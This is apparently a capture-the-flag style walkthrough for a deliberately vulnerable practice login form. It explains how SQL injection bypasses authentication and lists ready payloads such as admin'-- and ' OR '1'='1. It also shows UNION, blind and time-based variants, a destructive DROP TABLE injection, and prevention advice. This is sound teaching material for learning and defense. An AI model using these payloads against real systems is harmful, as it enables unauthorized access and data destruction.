SQL Injection Test - Complete Solution
Challenge Goal: Learn how to test SQL injection by exploiting a vulnerable login form to bypass authentication and retrieve the flag.
Step 1: Understanding SQL Injection
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It occurs when user input is incorporated into SQL queries without proper sanitization or parameterization.
How SQL Injection Works:When a web application builds SQL queries by concatenating user input directly into the query string, attackers can inject malicious SQL code. For example:
// Vulnerable code (DO NOT USE)
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
If a user enters
admin as username and
password123 as password, the query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
But if an attacker enters
admin' -- as username, the query becomes:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''
The
-- comments out the rest of the query, bypassing password verification entirely.
Step 2: Analyzing the Login Form
When you access the challenge, you see a login form with username and password fields. This is your SQL injection test site where you'll practice various injection techniques.
Initial Reconnaissance:
1. Test normal login: Try entering admin / admin - you'll get "Login failed: Invalid username or password"
2. Observe query display: Notice that the application shows you the executed SQL query:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin'
3. Identify the vulnerability: The query uses string concatenation with single quotes, making it vulnerable to SQL injection
This immediate query feedback is perfect for learning how to test SQL injection, as you can see exactly how your input affects the SQL query structure.
Step 3: Testing for SQL Injection Vulnerability
The first step in any SQL injection test is to determine if the application is vulnerable by injecting SQL metacharacters.
Method 1: Single Quote Test
1. Enter a single quote (') in the username field
2. Enter anything in the password field
3. Click Login
4. Observe the query: SELECT * FROM users WHERE username = ''' AND password = 'test'
The extra quote breaks the query syntax, confirming the application is vulnerable to SQL injection.
Method 2: Comment Sequence Test
Try entering: admin'-- in the username field
The query becomes: SELECT * FROM users WHERE username = 'admin'--' AND password = ''
The -- is a SQL comment that ignores everything after it, effectively removing the password check.
Step 4: SQL Injection Attack - Comment-Based Bypass
Now that you've confirmed the vulnerability, you can exploit it to bypass authentication.
Payload: Comment Injection
Username: admin'--
Password: (anything, or leave empty)
Resulting Query:
SELECT * FROM users WHERE username = 'admin'--' AND password = ''
Explanation:
1. The single quote after admin closes the username string
2. The -- starts a SQL comment, commenting out the rest of the query
3. The password check is completely bypassed
4. The query now simply selects users where username = 'admin'
5. Since admin exists, authentication succeeds
Alternative comment syntax:
• admin'# (MySQL comment)
• admin'/* (Multi-line comment start)
Step 5: SQL Injection Attack - OR-Based Bypass
Another common SQL injection technique uses boolean logic to make the WHERE clause always return true.
Payload 1: OR 1=1
Username: admin' OR '1'='1
Password: (anything)
Resulting Query:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
Explanation:
1. After admin, we close the quote with '
2. We add OR '1'='1' which is always true
3. Due to SQL operator precedence, the OR condition makes the entire WHERE clause true
4. The query returns the first user (admin), bypassing authentication
Payload 2: OR 1=1 with comment
Username: admin' OR 1=1--
Password: (anything)
Resulting Query:
SELECT * FROM users WHERE username = 'admin' OR 1=1--' AND password = ''
This combines OR injection with comment injection for a more reliable bypass.
Payload 3: Simple OR bypass
Username: ' OR '1'='1
Password: ' OR '1'='1
Resulting Query:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
This makes both conditions always true, returning the first user in the database.
Step 6: Executing the Attack and Retrieving the Flag
Use any of the SQL injection payloads above to bypass authentication:
Recommended Payload (simplest):
Username: admin'--
Password: (leave empty or type anything)
1. Enter the payload in the username field
2. Click the Login button
3. Observe the executed query showing the comment bypass
4. The application displays: "Login successful! Welcome, admin"
5. The flag appears in a green box below the message
The flag is displayed in UUID format. Copy this complete UUID - this is your flag to submit.
Step 7: Understanding Why This Works
Let's analyze the vulnerable code to understand why these SQL injection attacks succeed:
The Vulnerable Code Pattern:const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;Problems:1.
String concatenation: User input is directly inserted into the SQL query
2.
No input validation: Special characters like quotes and comments are not filtered
3.
No parameterization: Query parameters are not separated from query structure
4.
Client-side execution: While this is a simulation, the pattern mirrors vulnerable server-side code
How SQL injection bypasses security:Normal query:
WHERE username = 'admin' AND password = 'correctpass'→ Both conditions must be true (username AND password match)
Injected query:
WHERE username = 'admin'--' AND password = ''→ Only username check remains, password check is commented out
OR injection:
WHERE username = 'admin' OR '1'='1' AND ...→ OR condition makes the entire WHERE clause true, bypassing all checks
Step 8: Additional SQL Injection Testing Techniques
Here are more advanced techniques you can test in this SQL injection test environment:
1. UNION-Based Injection (theoretical):
admin' UNION SELECT 1,2,3--
Used to extract data from other tables by combining query results
2. Blind SQL Injection (theoretical):
admin' AND 1=1-- (returns results)
admin' AND 1=2-- (returns no results)
Used when application doesn't show query results, only success/failure
3. Time-Based Injection (theoretical):
admin' AND SLEEP(5)--
Used when there's no visible response difference, only timing differences
4. Stacked Queries (theoretical):
admin'; DROP TABLE users--
Used to execute multiple SQL statements (very dangerous!)
Note: This challenge focuses on authentication bypass. In real penetration testing, you would test all these injection types.
Real-World SQL Injection Testing
When testing for SQL injection in real applications, follow these professional techniques:
Professional SQL Injection Testing Methodology:
1. Identification Phase:
• Test all input fields (forms, URL parameters, headers, cookies)
• Inject single quote (') to test for errors
• Inject double quote (") for alternative quoting
• Try comment sequences (--, #, /**/)
• Test boolean conditions (AND 1=1, AND 1=2)
2. Exploitation Phase:
• Determine injection type (in-band, blind, time-based)
• Identify database type (MySQL, PostgreSQL, MSSQL, Oracle)
• Extract database version and structure
• Enumerate tables and columns
• Extract sensitive data
3. Tools for SQL Injection Testing:
• SQLMap: Automated SQL injection tool
• Burp Suite: Intercept and modify requests
• OWASP ZAP: Web application security scanner
• Manual testing: Browser and curl for controlled testing
4. Testing Checklist:
✓ Authentication forms (login, registration)
✓ Search functionality
✓ Filters and sorting parameters
✓ URL parameters and path segments
✓ HTTP headers (User-Agent, Referer, Cookie)
✓ API endpoints and JSON parameters
Prevention and Secure Coding
Understanding how to prevent SQL injection is just as important as knowing how to test for it:
Proper SQL Injection Prevention:1. Parameterized Queries (Prepared Statements):// Secure approach (Node.js with MySQL)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], function(error, results) {
// Handle results
});
2. Stored Procedures:// Secure approach
CALL authenticate_user(?, ?);
3. Input Validation:• Whitelist allowed characters
• Validate data types (integer, email, etc.)
• Enforce length limits
• Reject special characters when not needed
4. ORM Frameworks:• Use ORMs like Sequelize, TypeORM, Django ORM
• These abstract SQL and provide safe query building
• Still need to be careful with raw queries
5. Least Privilege Principle:• Database user should have minimal permissions
• Read-only for queries that don't modify data
• No DROP, CREATE, or GRANT permissions
6. Web Application Firewall (WAF):• Filter malicious SQL patterns
• Block suspicious requests
• Defense in depth, not primary protection
7. Error Handling:• Don't expose database errors to users
• Log errors server-side for debugging
• Generic error messages for users
Common SQL Injection Payloads Reference
Authentication Bypass Payloads:
Username field payloads:
• admin'--
• admin'#
• admin'/*
• ' OR '1'='1'--
• ' OR 1=1--
• admin' OR '1'='1
• ' OR 'x'='x
• ') OR ('1'='1
• admin') OR ('1'='1'--
Password field payloads:
• anything' OR '1'='1
• ' OR '1'='1'--
Detection Payloads:
• ' (single quote)
• '' (two single quotes)
• " (double quote)
• '" (mixed quotes)
• 1' AND '1'='1 (true condition)
• 1' AND '1'='2 (false condition)
Different Database Syntax:
• MySQL: --, #
• PostgreSQL: --
• MSSQL: --, ;
• Oracle: --
Key Takeaways
Security Lessons
- SQL injection occurs when user input is directly concatenated into SQL queries
- Comment injection bypasses portions of SQL queries by commenting out security checks
- Boolean-based injection uses OR conditions to make queries always return true
- Proper input validation and parameterized queries prevent SQL injection
- Never trust user input - always validate and sanitize
- Testing for SQL injection requires understanding SQL syntax and database behavior
Professional Testing Skills
- Always test input fields with SQL metacharacters during security assessments
- Use comment sequences and boolean logic to identify and exploit SQL injection
- Understand different injection types: in-band, blind, time-based
- Combine manual testing with automated tools like SQLMap
- Document findings with working payloads and impact assessment
- Follow responsible disclosure when finding vulnerabilities
Congratulations! You've successfully completed the SQL injection test and learned how to test SQL injection vulnerabilities. You now understand authentication bypass techniques, comment injection, boolean-based attacks, and proper prevention methods. These skills are essential for web application penetration testing, security audits, and secure development. Remember to only test SQL injection on systems you own or have explicit permission to assess.